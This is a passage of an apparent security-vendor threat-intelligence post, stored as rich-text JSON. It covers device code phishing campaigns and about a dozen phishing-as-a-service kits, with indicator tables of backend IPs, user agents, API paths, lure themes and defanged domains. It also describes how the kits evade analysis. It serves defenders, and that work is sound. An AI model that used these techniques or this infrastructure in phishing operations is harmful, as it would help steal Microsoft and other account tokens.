include:",{"data":8622,"content":8623,"nodeType":1616},{},[8624,8657,8678],{"data":8625,"content":8626,"nodeType":1570},{},[8627],{"data":8628,"content":8629,"nodeType":866},{},[8630,8634,8642,8645,8653],{"data":8631,"marks":8632,"value":8633,"nodeType":865},{},[],"Storm-2372, tracked by ",{"data":8635,"content":8637,"nodeType":889},{"uri":8636},"https://www.microsoft.com/en-us/security/blog/2025/02/13/storm-2372-conducts-device-code-phishing-campaign/",[8638],{"data":8639,"marks":8640,"value":8641,"nodeType":865},{},[],"Microsoft",{"data":8643,"marks":8644,"value":4988,"nodeType":865},{},[],{"data":8646,"content":8648,"nodeType":889},{"uri":8647},"https://www.volexity.com/blog/2025/02/13/multiple-russian-threat-actors-targeting-microsoft-device-code-authentication/",[8649],{"data":8650,"marks":8651,"value":8652,"nodeType":865},{},[],"Volexity",{"data":8654,"marks":8655,"value":8656,"nodeType":865},{},[],", linked to multiple Russia-aligned clusters, combining spear-phishing and social engineering with device code phishing payloads against strategic intelligence targets.",{"data":8658,"content":8659,"nodeType":1570},{},[8660],{"data":8661,"content":8662,"nodeType":866},{},[8663,8667,8674],{"data":8664,"marks":8665,"value":8666,"nodeType":865},{},[],"The massive Salesforce campaign operated by ",{"data":8668,"content":8669,"nodeType":889},{"uri":4991},[8670],{"data":8671,"marks":8672,"value":8673,"nodeType":865},{},[],"Scattered Lapsus$ Hunters",{"data":8675,"marks":8676,"value":8677,"nodeType":865},{},[]," (SLH) combined vishing with a device code phishing payload targeting Salesforce. The attacks morphed into a broader supply chain campaign using stolen credentials, ultimately resulting in 1000+ organizations being compromised and over 1.5 billion stolen records claimed. ",{"data":8679,"content":8680,"nodeType":1570},{},[8681],{"data":8682,"content":8683,"nodeType":866},{},[8684,8688,8696,8700,8709,8712,8721,8725,8733],{"data":8685,"marks":8686,"value":8687,"nodeType":865},{},[],"A massive spike in activity in late 2025 and 2026. This includes ",{"data":8689,"content":8691,"nodeType":889},{"uri":8690},"https://www.proofpoint.com/us/blog/threat-insight/access-granted-phishing-device-code-authorization-account-takeover",[8692],{"data":8693,"marks":8694,"value":8695,"nodeType":865},{},[],"multiple threat clusters",{"data":8697,"marks":8698,"value":8699,"nodeType":865},{},[]," tracked using device code phishing techniques, more ",{"data":8701,"content":8703,"nodeType":889},{"uri":8702},"https://www.bleepingcomputer.com/news/security/hackers-target-microsoft-entra-accounts-in-device-code-vishing-attacks/",[8704],{"data":8705,"marks":8706,"value":8708,"nodeType":865},{},[8707],{"type":943},"criminal operations linked to SLH",{"data":8710,"marks":8711,"value":3476,"nodeType":865},{},[],{"data":8713,"content":8715,"nodeType":889},{"uri":8714},"https://newtonpaul.com/blog/device-code-phish-update/",[8716],{"data":8717,"marks":8718,"value":8720,"nodeType":865},{},[8719],{"type":943},"hundreds of organizations being targeted via PhaaS architecture,",{"data":8722,"marks":8723,"value":8724,"nodeType":865},{},[]," which looks to be the same campaign as the recently uncovered EvilTokens PhaaS reported by ",{"data":8726,"content":8727,"nodeType":889},{"uri":5817},[8728],{"data":8729,"marks":8730,"value":8732,"nodeType":865},{},[8731],{"type":943},"Huntress",{"data":8734,"marks":8735,"value":8736,"nodeType":865},{},[]," (featuring abuse of the Railway PaaS platform). ",{"data":8738,"content":8742,"nodeType":912},{"target":8739},{"sys":8740},{"id":8741,"type":909,"linkType":910},"3WLt6qLCK8CSwr0QZxZiMv",[],{"data":8744,"content":8745,"nodeType":972},{},[],{"data":8747,"content":8748,"nodeType":981},{},[8749],{"data":8750,"marks":8751,"value":8753,"nodeType":865},{},[8752],{"type":926},"What we’re seeing in the wild",{"data":8755,"content":8756,"nodeType":866},{},[8757],{"data":8758,"marks":8759,"value":8760,"nodeType":865},{},[],"As mentioned, we’ve also seen a huge spike in device code phishing activity this year, with multiple kits, page designs, and lure types. We’ve now identified 14+ distinct kits in circulation in the wild, with EvilTokens being the most prevalent. It’s clear that attackers are both spinning up their own kits and creative derivatives of others — we’ve seen kits that are visually similar to EvilTokens (close enough to be clones or forks) but with very different backends, for example AWS, Digital Ocean, 2cloud, and more. ",{"data":8762,"content":8766,"nodeType":912},{"target":8763},{"sys":8764},{"id":8765,"type":909,"linkType":910},"nJCbTw85GKXdqrlIkzZwi",[],{"data":8768,"content":8769,"nodeType":972},{},[],{"data":8771,"content":8772,"nodeType":1317},{},[8773],{"data":8774,"marks":8775,"value":8777,"nodeType":865},{},[8776],{"type":926},"“ANTIBOT” (EvilTokens)",{"data":8779,"content":8780,"nodeType":866},{},[8781,8784,8791,8794,8803,8807,8815],{"data":8782,"marks":8783,"value":21,"nodeType":865},{},[],{"data":8785,"content":8786,"nodeType":889},{"uri":5817},[8787],{"data":8788,"marks":8789,"value":8732,"nodeType":865},{},[8790],{"type":943},{"data":8792,"marks":8793,"value":2717,"nodeType":865},{},[],{"data":8795,"content":8797,"nodeType":889},{"uri":8796},"https://blog.sekoia.io/new-widespread-eviltokens-kit-device-code-phishing-as-a-service-part-1/",[8798],{"data":8799,"marks":8800,"value":8802,"nodeType":865},{},[8801],{"type":943},"Sekoia",{"data":8804,"marks":8805,"value":8806,"nodeType":865},{},[],", and researcher ",{"data":8808,"content":8809,"nodeType":889},{"uri":8714},[8810],{"data":8811,"marks":8812,"value":8814,"nodeType":865},{},[8813],{"type":943},"Paul Newton",{"data":8816,"marks":8817,"value":8818,"nodeType":865},{},[]," have already done a great job of providing IOCs for the recent EvilTokens activity spike, including multiple backend Railway IPs in authentication events. ",{"data":8820,"content":8824,"nodeType":912},{"target":8821},{"sys":8822},{"id":8823,"type":909,"linkType":910},"1XNviq5OvMf5TEAc59F6g5",[],{"data":8826,"content":8827,"nodeType":866},{},[8828],{"data":8829,"marks":8830,"value":8831,"nodeType":865},{},[],"Beyond the most widely observed implementation featuring a Cloudflare Workers frontend and Railway backend for authentication, we’ve also tracked additional versions of EvilTokens in circulation since January 2026 (many of which remain live along with the current “production” version of the kit). ",{"data":8833,"content":8834,"nodeType":866},{},[8835],{"data":8836,"marks":8837,"value":8838,"nodeType":865},{},[],"You can see an evolution of the kit in the videos and screenshots below, from early precursors seen in mid-January, the first mentions of ANTIBOT in the page code in late-January, the parallel development of a “Courts Access” fork that lacks the ANTIBOT references, and finally production EvilTokens in February. One of the key threads between the versions is the presence of a generateFallbackCode() JS function and use of a /generate-codes API call. ",{"data":8840,"content":8841,"nodeType":866},{},[8842],{"data":8843,"marks":8844,"value":8845,"nodeType":865},{},[],"Early implementations were quite different, for example using ScrapingBee to generate the displayed code, and varied hosting on vercel, fastly, edgeone, and others. ",{"data":8847,"content":8848,"nodeType":866},{},[8849],{"data":8850,"marks":8851,"value":8852,"nodeType":865},{},[],"After initially appearing on custom domains, the production version is now predominantly hosted on Cloudflare Workers, as per the broader tracking of the campaign. The descriptive HTML comments around ANTIBOT functions have also been removed in later versions. ",{"data":8854,"content":8855,"nodeType":866},{},[8856,8860,8869],{"data":8857,"marks":8858,"value":8859,"nodeType":865},{},[],"The production version of EvilTokens showcases common ",{"data":8861,"content":8863,"nodeType":889},{"uri":8862},"https://phishing-techniques.pushsecurity.com/",[8864],{"data":8865,"marks":8866,"value":8868,"nodeType":865},{},[8867],{"type":943},"detection evasion techniques",{"data":8870,"marks":8871,"value":8872,"nodeType":865},{},[]," we've come to associate with PhaaS kits in the AiTM space — using multiple redirects through trusted sites before serving the malicious page, using bot protection to block security tools from analyzing the page, and so on. It also uses a pop-up window for the device code entry rather than a redirect, reducing the friction for the victim (it looks pretty convincing, too).",{"data":8874,"content":8878,"nodeType":912},{"target":8875},{"sys":8876},{"id":8877,"type":909,"linkType":910},"73rNOIEDPfP5IJwpFaxVc2",[],{"data":8880,"content":8884,"nodeType":912},{"target":8881},{"sys":8882},{"id":8883,"type":909,"linkType":910},"5BJSvOQUW9UpsQtoDNtgTC",[],{"data":8886,"content":8890,"nodeType":912},{"target":8887},{"sys":8888},{"id":8889,"type":909,"linkType":910},"3dbePPxVb4h4SauGg3glIL",[],{"data":8892,"content":8896,"nodeType":912},{"target":8893},{"sys":8894},{"id":8895,"type":909,"linkType":910},"1UOLcmNQvOsL5tdLSVuviq",[],{"data":8898,"content":8902,"nodeType":912},{"target":8899},{"sys":8900},{"id":8901,"type":909,"linkType":910},"55XRqLSwUUi2D4ZVpJboml",[],{"data":8904,"content":8908,"nodeType":912},{"target":8905},{"sys":8906},{"id":8907,"type":909,"linkType":910},"5wg5yr2Lo8t3f72ZV815c",[],{"data":8910,"content":8914,"nodeType":912},{"target":8911},{"sys":8912},{"id":8913,"type":909,"linkType":910},"35cowlL6i3rkGXOGmSxlI1",[],{"data":8916,"content":8917,"nodeType":866},{},[8918],{"data":8919,"marks":8920,"value":21,"nodeType":865},{},[],{"data":8922,"content":8923,"nodeType":2927},{},[8924,8948,9031,9083,9107],{"data":8925,"content":8926,"nodeType":2400},{},[8927,8938],{"data":8928,"content":8929,"nodeType":2366},{},[8930],{"data":8931,"content":8932,"nodeType":866},{},[8933],{"data":8934,"marks":8935,"value":8937,"nodeType":865},{},[8936],{"type":926},"Frontend infrastructure",{"data":8939,"content":8940,"nodeType":2366},{},[8941],{"data":8942,"content":8943,"nodeType":866},{},[8944],{"data":8945,"marks":8946,"value":8947,"nodeType":865},{},[],"Workers.dev, vercel.app, github.io, fastly.net, edgeone.dev",{"data":8949,"content":8950,"nodeType":2400},{},[8951,8962],{"data":8952,"content":8953,"nodeType":2366},{},[8954],{"data":8955,"content":8956,"nodeType":866},{},[8957],{"data":8958,"marks":8959,"value":8961,"nodeType":865},{},[8960],{"type":926},"Backend infrastructure",{"data":8963,"content":8964,"nodeType":2366},{},[8965,8995],{"data":8966,"content":8967,"nodeType":866},{},[8968,8973,8977,8982,8986,8991],{"data":8969,"marks":8970,"value":8972,"nodeType":865},{},[8971],{"type":926},"Example IP: (V3) ",{"data":8974,"marks":8975,"value":8976,"nodeType":865},{},[],"162.220.232.71 (Railway AS400940) ",{"data":8978,"marks":8979,"value":8981,"nodeType":865},{},[8980],{"type":926},"(V2)",{"data":8983,"marks":8984,"value":8985,"nodeType":865},{},[]," 71.11.42.193 ",{"data":8987,"marks":8988,"value":8990,"nodeType":865},{},[8989],{"type":926},"(V1) ",{"data":8992,"marks":8993,"value":8994,"nodeType":865},{},[],"72.218.25.107",{"data":8996,"content":8997,"nodeType":866},{},[8998,9003,9006,9011,9015,9019,9023,9027],{"data":8999,"marks":9000,"value":9002,"nodeType":865},{},[9001],{"type":926},"Backend User Agent:",{"data":9004,"marks":9005,"value":2688,"nodeType":865},{},[],{"data":9007,"marks":9008,"value":9010,"nodeType":865},{},[9009],{"type":926},"(V3) ",{"data":9012,"marks":9013,"value":9014,"nodeType":865},{},[],"node, ",{"data":9016,"marks":9017,"value":8981,"nodeType":865},{},[9018],{"type":926},{"data":9020,"marks":9021,"value":9022,"nodeType":865},{},[],", Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683 Safari/537.36 OPR/57.0.3098.91 ",{"data":9024,"marks":9025,"value":8990,"nodeType":865},{},[9026],{"type":926},{"data":9028,"marks":9029,"value":9030,"nodeType":865},{},[],"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 OPR/56.0.3051.52 ",{"data":9032,"content":9033,"nodeType":2400},{},[9034,9045],{"data":9035,"content":9036,"nodeType":2366},{},[9037],{"data":9038,"content":9039,"nodeType":866},{},[9040],{"data":9041,"marks":9042,"value":9044,"nodeType":865},{},[9043],{"type":926},"Network paths",{"data":9046,"content":9047,"nodeType":2366},{},[9048,9055,9062,9069,9076],{"data":9049,"content":9050,"nodeType":866},{},[9051],{"data":9052,"marks":9053,"value":9054,"nodeType":865},{},[],"/api/rate-limit ",{"data":9056,"content":9057,"nodeType":866},{},[9058],{"data":9059,"marks":9060,"value":9061,"nodeType":865},{},[],"/api/fingerprint ",{"data":9063,"content":9064,"nodeType":866},{},[9065],{"data":9066,"marks":9067,"value":9068,"nodeType":865},{},[],"/api/captcha-verify ",{"data":9070,"content":9071,"nodeType":866},{},[9072],{"data":9073,"marks":9074,"value":9075,"nodeType":865},{},[],"/api/init /api/generate-code ",{"data":9077,"content":9078,"nodeType":866},{},[9079],{"data":9080,"marks":9081,"value":9082,"nodeType":865},{},[],"/api/check-auth",{"data":9084,"content":9085,"nodeType":2400},{},[9086,9097],{"data":9087,"content":9088,"nodeType":2366},{},[9089],{"data":9090,"content":9091,"nodeType":866},{},[9092],{"data":9093,"marks":9094,"value":9096,"nodeType":865},{},[9095],{"type":926},"Lure themes",{"data":9098,"content":9099,"nodeType":2366},{},[9100],{"data":9101,"content":9102,"nodeType":866},{},[9103],{"data":9104,"marks":9105,"value":9106,"nodeType":865},{},[],"Various MS lures (e.g. Outlook, SharePoint, Teams) DocuSign, Adobe",{"data":9108,"content":9109,"nodeType":2400},{},[9110,9121],{"data":9111,"content":9112,"nodeType":2366},{},[9113],{"data":9114,"content":9115,"nodeType":866},{},[9116],{"data":9117,"marks":9118,"value":9120,"nodeType":865},{},[9119],{"type":926},"Example Domain",{"data":9122,"content":9123,"nodeType":2366},{},[9124,9136,9148,9160,9172],{"data":9125,"content":9126,"nodeType":866},{},[9127,9132],{"data":9128,"marks":9129,"value":9131,"nodeType":865},{},[9130],{"type":926},"Precursor A:",{"data":9133,"marks":9134,"value":9135,"nodeType":865},{},[]," teams-zpfvwnpxuc[.]edgeone.dev",{"data":9137,"content":9138,"nodeType":866},{},[9139,9144],{"data":9140,"marks":9141,"value":9143,"nodeType":865},{},[9142],{"type":926},"Precursor B: ",{"data":9145,"marks":9146,"value":9147,"nodeType":865},{},[],"authenticate-m365-accountsecurity-m-pi[.]vercel.app",{"data":9149,"content":9150,"nodeType":866},{},[9151,9156],{"data":9152,"marks":9153,"value":9155,"nodeType":865},{},[9154],{"type":926},"Courts Access: ",{"data":9157,"marks":9158,"value":9159,"nodeType":865},{},[],"secure-systems-validations-courts[.]vercel.app",{"data":9161,"content":9162,"nodeType":866},{},[9163,9168],{"data":9164,"marks":9165,"value":9167,"nodeType":865},{},[9166],{"type":926},"Early ANTIBOT:",{"data":9169,"marks":9170,"value":9171,"nodeType":865},{},[]," interface-auth-en-useast[.]global.ssl.fastly.net",{"data":9173,"content":9174,"nodeType":866},{},[9175,9180],{"data":9176,"marks":9177,"value":9179,"nodeType":865},{},[9178],{"type":926},"Production ANTIBOT: ",{"data":9181,"marks":9182,"value":9183,"nodeType":865},{},[],"index-z059-document-pending-reviewsign-xlss7994824[.]awalizer[.]workers.dev",{"data":9185,"content":9186,"nodeType":972},{},[],{"data":9188,"content":9189,"nodeType":1317},{},[9190],{"data":9191,"marks":9192,"value":9194,"nodeType":865},{},[9193],{"type":926},"“SHAREFILE”",{"data":9196,"content":9197,"nodeType":2927},{},[9198,9221,9260,9283,9306],{"data":9199,"content":9200,"nodeType":2400},{},[9201,9211],{"data":9202,"content":9203,"nodeType":2366},{},[9204],{"data":9205,"content":9206,"nodeType":866},{},[9207],{"data":9208,"marks":9209,"value":8937,"nodeType":865},{},[9210],{"type":926},{"data":9212,"content":9213,"nodeType":2366},{},[9214],{"data":9215,"content":9216,"nodeType":866},{},[9217],{"data":9218,"marks":9219,"value":9220,"nodeType":865},{},[],"No hosting markers visible.",{"data":9222,"content":9223,"nodeType":2400},{},[9224,9234],{"data":9225,"content":9226,"nodeType":2366},{},[9227],{"data":9228,"content":9229,"nodeType":866},{},[9230],{"data":9231,"marks":9232,"value":8961,"nodeType":865},{},[9233],{"type":926},{"data":9235,"content":9236,"nodeType":2366},{},[9237,9249],{"data":9238,"content":9239,"nodeType":866},{},[9240,9245],{"data":9241,"marks":9242,"value":9244,"nodeType":865},{},[9243],{"type":926},"Example IP:",{"data":9246,"marks":9247,"value":9248,"nodeType":865},{},[]," 147.45.60.47 (Global Connectivity Solutions LLP AS215540)",{"data":9250,"content":9251,"nodeType":866},{},[9252,9256],{"data":9253,"marks":9254,"value":9002,"nodeType":865},{},[9255],{"type":926},{"data":9257,"marks":9258,"value":9259,"nodeType":865},{},[]," node",{"data":9261,"content":9262,"nodeType":2400},{},[9263,9273],{"data":9264,"content":9265,"nodeType":2366},{},[9266],{"data":9267,"content":9268,"nodeType":866},{},[9269],{"data":9270,"marks":9271,"value":9044,"nodeType":865},{},[9272],{"type":926},{"data":9274,"content":9275,"nodeType":2366},{},[9276],{"data":9277,"content":9278,"nodeType":866},{},[9279],{"data":9280,"marks":9281,"value":9282,"nodeType":865},{},[],"POST /api/device/start  POST /api/device/poll",{"data":9284,"content":9285,"nodeType":2400},{},[9286,9296],{"data":9287,"content":9288,"nodeType":2366},{},[9289],{"data":9290,"content":9291,"nodeType":866},{},[9292],{"data":9293,"marks":9294,"value":9096,"nodeType":865},{},[9295],{"type":926},{"data":9297,"content":9298,"nodeType":2366},{},[9299],{"data":9300,"content":9301,"nodeType":866},{},[9302],{"data":9303,"marks":9304,"value":9305,"nodeType":865},{},[],"Citrix ShareFile document transfer — file card with sender info, expiry warning, download/preview buttons",{"data":9307,"content":9308,"nodeType":2400},{},[9309,9320],{"data":9310,"content":9311,"nodeType":2366},{},[9312],{"data":9313,"content":9314,"nodeType":866},{},[9315],{"data":9316,"marks":9317,"value":9319,"nodeType":865},{},[9318],{"type":926},"Example domain",{"data":9321,"content":9322,"nodeType":2366},{},[9323],{"data":9324,"content":9325,"nodeType":866},{},[9326],{"data":9327,"marks":9328,"value":9329,"nodeType":865},{},[],"cghdfg[.]vbchkioi[.]su",{"data":9331,"content":9335,"nodeType":912},{"target":9332},{"sys":9333},{"id":9334,"type":909,"linkType":910},"1TtZ6VsMSTlPvy7W996w9E",[],{"data":9337,"content":9338,"nodeType":972},{},[],{"data":9340,"content":9341,"nodeType":1317},{},[9342],{"data":9343,"marks":9344,"value":9346,"nodeType":865},{},[9345],{"type":926},"Kali365 (internal name “CLURE”)",{"data":9348,"content":9349,"nodeType":866},{},[9350,9354,9359,9363,9371,9375,9383],{"data":9351,"marks":9352,"value":9353,"nodeType":865},{},[],"Clure was recently linked to the ",{"data":9355,"marks":9356,"value":9358,"nodeType":865},{},[9357],{"type":926},"Kali365",{"data":9360,"marks":9361,"value":9362,"nodeType":865},{},[]," PhaaS platform based on an ",{"data":9364,"content":9366,"nodeType":889},{"uri":9365},"https://www.ic3.gov/PSA/2026/PSA260521",[9367],{"data":9368,"marks":9369,"value":9370,"nodeType":865},{},[],"FBI advisory",{"data":9372,"marks":9373,"value":9374,"nodeType":865},{},[]," and additional research from ",{"data":9376,"content":9378,"nodeType":889},{"uri":9377},"https://arcticwolf.com/resources/blog/token-bingo-dont-let-your-code-be-the-winner/",[9379],{"data":9380,"marks":9381,"value":9382,"nodeType":865},{},[],"Arctic Wolf",{"data":9384,"marks":9385,"value":9386,"nodeType":865},{},[],". This is yet another example of Device Code Phishing and AiTM phishing capabilities being integrated into unified phishing platforms. ",{"data":9388,"content":9389,"nodeType":2927},{},[9390,9413,9452,9475,9498],{"data":9391,"content":9392,"nodeType":2400},{},[9393,9403],{"data":9394,"content":9395,"nodeType":2366},{},[9396],{"data":9397,"content":9398,"nodeType":866},{},[9399],{"data":9400,"marks":9401,"value":8937,"nodeType":865},{},[9402],{"type":926},{"data":9404,"content":9405,"nodeType":2366},{},[9406],{"data":9407,"content":9408,"nodeType":866},{},[9409],{"data":9410,"marks":9411,"value":9412,"nodeType":865},{},[],"API on api.duemineral.uk:8443 and api.loadingdocuments.uk:8443 (rotates). ",{"data":9414,"content":9415,"nodeType":2400},{},[9416,9426],{"data":9417,"content":9418,"nodeType":2366},{},[9419],{"data":9420,"content":9421,"nodeType":866},{},[9422],{"data":9423,"marks":9424,"value":8961,"nodeType":865},{},[9425],{"type":926},{"data":9427,"content":9428,"nodeType":2366},{},[9429,9441],{"data":9430,"content":9431,"nodeType":866},{},[9432,9437],{"data":9433,"marks":9434,"value":9436,"nodeType":865},{},[9435],{"type":926},"Example IP: ",{"data":9438,"marks":9439,"value":9440,"nodeType":865},{},[],"162.243.166.119 (DigitalOcean AS14061)",{"data":9442,"content":9443,"nodeType":866},{},[9444,9448],{"data":9445,"marks":9446,"value":9002,"nodeType":865},{},[9447],{"type":926},{"data":9449,"marks":9450,"value":9451,"nodeType":865},{},[]," python-requests/2.32.5",{"data":9453,"content":9454,"nodeType":2400},{},[9455,9465],{"data":9456,"content":9457,"nodeType":2366},{},[9458],{"data":9459,"content":9460,"nodeType":866},{},[9461],{"data":9462,"marks":9463,"value":9044,"nodeType":865},{},[9464],{"type":926},{"data":9466,"content":9467,"nodeType":2366},{},[9468],{"data":9469,"content":9470,"nodeType":866},{},[9471],{"data":9472,"marks":9473,"value":9474,"nodeType":865},{},[],"GET /api/status/{numeric_SID} (port :8443)",{"data":9476,"content":9477,"nodeType":2400},{},[9478,9488],{"data":9479,"content":9480,"nodeType":2366},{},[9481],{"data":9482,"content":9483,"nodeType":866},{},[9484],{"data":9485,"marks":9486,"value":9096,"nodeType":865},{},[9487],{"type":926},{"data":9489,"content":9490,"nodeType":2366},{},[9491],{"data":9492,"content":9493,"nodeType":866},{},[9494],{"data":9495,"marks":9496,"value":9497,"nodeType":865},{},[],"SharePoint \"Team Site\" doc library, SharePoint \"Shared Document\" individual share",{"data":9499,"content":9500,"nodeType":2400},{},[9501,9511],{"data":9502,"content":9503,"nodeType":2366},{},[9504],{"data":9505,"content":9506,"nodeType":866},{},[9507],{"data":9508,"marks":9509,"value":9319,"nodeType":865},{},[9510],{"type":926},{"data":9512,"content":9513,"nodeType":2366},{},[9514],{"data":9515,"content":9516,"nodeType":866},{},[9517],{"data":9518,"marks":9519,"value":9520,"nodeType":865},{},[],"auth[.]duemineral[.]uk",{"data":9522,"content":9526,"nodeType":912},{"target":9523},{"sys":9524},{"id":9525,"type":909,"linkType":910},"Y1AiT3dJRTXz64pb68kca",[],{"data":9528,"content":9529,"nodeType":972},{},[],{"data":9531,"content":9532,"nodeType":1317},{},[9533],{"data":9534,"marks":9535,"value":9537,"nodeType":865},{},[9536],{"type":926},"“LINKID”",{"data":9539,"content":9540,"nodeType":2927},{},[9541,9564,9609,9639,9662],{"data":9542,"content":9543,"nodeType":2400},{},[9544,9554],{"data":9545,"content":9546,"nodeType":2366},{},[9547],{"data":9548,"content":9549,"nodeType":866},{},[9550],{"data":9551,"marks":9552,"value":8937,"nodeType":865},{},[9553],{"type":926},{"data":9555,"content":9556,"nodeType":2366},{},[9557],{"data":9558,"content":9559,"nodeType":866},{},[9560],{"data":9561,"marks":9562,"value":9563,"nodeType":865},{},[],"Adobe variant has Cloudflare challenge-platform iframe (CF-protected origin). Relative API paths — self-hosted.",{"data":9565,"content":9566,"nodeType":2400},{},[9567,9577],{"data":9568,"content":9569,"nodeType":2366},{},[9570],{"data":9571,"content":9572,"nodeType":866},{},[9573],{"data":9574,"marks":9575,"value":8961,"nodeType":865},{},[9576],{"type":926},{"data":9578,"content":9579,"nodeType":2366},{},[9580,9591,9598],{"data":9581,"content":9582,"nodeType":866},{},[9583,9587],{"data":9584,"marks":9585,"value":9436,"nodeType":865},{},[9586],{"type":926},{"data":9588,"marks":9589,"value":9590,"nodeType":865},{},[],"185.176.220.22 (2cloud.eu AS39845)",{"data":9592,"content":9593,"nodeType":866},{},[9594],{"data":9595,"marks":9596,"value":9597,"nodeType":865},{},[],"2600:1f10:470d:9a00:1437:ec30:be61:3494 (AWS AS16509)",{"data":9599,"content":9600,"nodeType":866},{},[9601,9605],{"data":9602,"marks":9603,"value":9002,"nodeType":865},{},[9604],{"type":926},{"data":9606,"marks":9607,"value":9608,"nodeType":865},{},[]," axios/1.10.0 , axios/1.13.6",{"data":9610,"content":9611,"nodeType":2400},{},[9612,9622],{"data":9613,"content":9614,"nodeType":2366},{},[9615],{"data":9616,"content":9617,"nodeType":866},{},[9618],{"data":9619,"marks":9620,"value":9044,"nodeType":865},{},[9621],{"type":926},{"data":9623,"content":9624,"nodeType":2366},{},[9625,9632],{"data":9626,"content":9627,"nodeType":866},{},[9628],{"data":9629,"marks":9630,"value":9631,"nodeType":865},{},[],"POST /api/device/start",{"data":9633,"content":9634,"nodeType":866},{},[9635],{"data":9636,"marks":9637,"value":9638,"nodeType":865},{},[],"GET /api/device/status/{sessionId}",{"data":9640,"content":9641,"nodeType":2400},{},[9642,9652],{"data":9643,"content":9644,"nodeType":2366},{},[9645],{"data":9646,"content":9647,"nodeType":866},{},[9648],{"data":9649,"marks":9650,"value":9096,"nodeType":865},{},[9651],{"type":926},{"data":9653,"content":9654,"nodeType":2366},{},[9655],{"data":9656,"content":9657,"nodeType":866},{},[9658],{"data":9659,"marks":9660,"value":9661,"nodeType":865},{},[],"MS Teams meeting invitation (with interactive date/time picker), Adobe Acrobat Sign document review",{"data":9663,"content":9664,"nodeType":2400},{},[9665,9675],{"data":9666,"content":9667,"nodeType":2366},{},[9668],{"data":9669,"content":9670,"nodeType":866},{},[9671],{"data":9672,"marks":9673,"value":9319,"nodeType":865},{},[9674],{"type":926},{"data":9676,"content":9677,"nodeType":2366},{},[9678],{"data":9679,"content":9680,"nodeType":866},{},[9681],{"data":9682,"marks":9683,"value":9684,"nodeType":865},{},[],"sdtr-site[.]cfd",{"data":9686,"content":9690,"nodeType":912},{"target":9687},{"sys":9688},{"id":9689,"type":909,"linkType":910},"22hsIzlkptC2JTIUtbOuUn",[],{"data":9692,"content":9693,"nodeType":972},{},[],{"data":9695,"content":9696,"nodeType":1317},{},[9697],{"data":9698,"marks":9699,"value":9701,"nodeType":865},{},[9700],{"type":926},"Device Code Lab (formerly codename \"AUTHOV”)",{"data":9703,"content":9707,"nodeType":912},{"target":9704},{"sys":9705},{"id":9706,"type":909,"linkType":910},"5vllVaa0Ry0wKs46ssrZLC",[],{"data":9709,"content":9710,"nodeType":2927},{},[9711,9734,9779,9802,9825],{"data":9712,"content":9713,"nodeType":2400},{},[9714,9724],{"data":9715,"content":9716,"nodeType":2366},{},[9717],{"data":9718,"content":9719,"nodeType":866},{},[9720],{"data":9721,"marks":9722,"value":8937,"nodeType":865},{},[9723],{"type":926},{"data":9725,"content":9726,"nodeType":2366},{},[9727],{"data":9728,"content":9729,"nodeType":866},{},[9730],{"data":9731,"marks":9732,"value":9733,"nodeType":865},{},[],"workers.dev",{"data":9735,"content":9736,"nodeType":2400},{},[9737,9747],{"data":9738,"content":9739,"nodeType":2366},{},[9740],{"data":9741,"content":9742,"nodeType":866},{},[9743],{"data":9744,"marks":9745,"value":8961,"nodeType":865},{},[9746],{"type":926},{"data":9748,"content":9749,"nodeType":2366},{},[9750,9761],{"data":9751,"content":9752,"nodeType":866},{},[9753,9757],{"data":9754,"marks":9755,"value":9436,"nodeType":865},{},[9756],{"type":926},{"data":9758,"marks":9759,"value":9760,"nodeType":865},{},[],"192.3.225.100 (HostPapa / ColoCrossing AS36352)",{"data":9762,"content":9763,"nodeType":866},{},[9764,9768,9771,9775],{"data":9765,"marks":9766,"value":9002,"nodeType":865},{},[9767],{"type":926},{"data":9769,"marks":9770,"value":2688,"nodeType":865},{},[],{"data":9772,"marks":9773,"value":5959,"nodeType":865},{},[9774],{"type":926},{"data":9776,"marks":9777,"value":9778,"nodeType":865},{},[],"python-httpx/0.28.1",{"data":9780,"content":9781,"nodeType":2400},{},[9782,9792],{"data":9783,"content":9784,"nodeType":2366},{},[9785],{"data":9786,"content":9787,"nodeType":866},{},[9788],{"data":9789,"marks":9790,"value":9044,"nodeType":865},{},[9791],{"type":926},{"data":9793,"content":9794,"nodeType":2366},{},[9795],{"data":9796,"content":9797,"nodeType":866},{},[9798],{"data":9799,"marks":9800,"value":9801,"nodeType":865},{},[],"GET /landing/api/session-status?session_id=&token=",{"data":9803,"content":9804,"nodeType":2400},{},[9805,9815],{"data":9806,"content":9807,"nodeType":2366},{},[9808],{"data":9809,"content":9810,"nodeType":866},{},[9811],{"data":9812,"marks":9813,"value":9096,"nodeType":865},{},[9814],{"type":926},{"data":9816,"content":9817,"nodeType":2366},{},[9818],{"data":9819,"content":9820,"nodeType":866},{},[9821],{"data":9822,"marks":9823,"value":9824,"nodeType":865},{},[],"Adobe Acrobat document sharing (PDF preview, sender avatar)",{"data":9826,"content":9827,"nodeType":2400},{},[9828,9838],{"data":9829,"content":9830,"nodeType":2366},{},[9831],{"data":9832,"content":9833,"nodeType":866},{},[9834],{"data":9835,"marks":9836,"value":9319,"nodeType":865},{},[9837],{"type":926},{"data":9839,"content":9840,"nodeType":2366},{},[9841],{"data":9842,"content":9843,"nodeType":866},{},[9844],{"data":9845,"marks":9846,"value":9847,"nodeType":865},{},[],"milosh-solibella-0dcio[.]sgttommy.workers.dev",{"data":9849,"content":9853,"nodeType":912},{"target":9850},{"sys":9851},{"id":9852,"type":909,"linkType":910},"6szO6IKJ32usyxIKX1efZy",[],{"data":9855,"content":9859,"nodeType":912},{"target":9856},{"sys":9857},{"id":9858,"type":909,"linkType":910},"lEqV3RTMIY8y011lnhX7P",[],{"data":9861,"content":9862,"nodeType":972},{},[],{"data":9864,"content":9865,"nodeType":1317},{},[9866],{"data":9867,"marks":9868,"value":9870,"nodeType":865},{},[9869],{"type":926},"“DOCUPOLL”",{"data":9872,"content":9873,"nodeType":2927},{},[9874,9897,9935,9972,9995],{"data":9875,"content":9876,"nodeType":2400},{},[9877,9887],{"data":9878,"content":9879,"nodeType":2366},{},[9880],{"data":9881,"content":9882,"nodeType":866},{},[9883],{"data":9884,"marks":9885,"value":8937,"nodeType":865},{},[9886],{"type":926},{"data":9888,"content":9889,"nodeType":2366},{},[9890],{"data":9891,"content":9892,"nodeType":866},{},[9893],{"data":9894,"marks":9895,"value":9896,"nodeType":865},{},[],"Github.io and 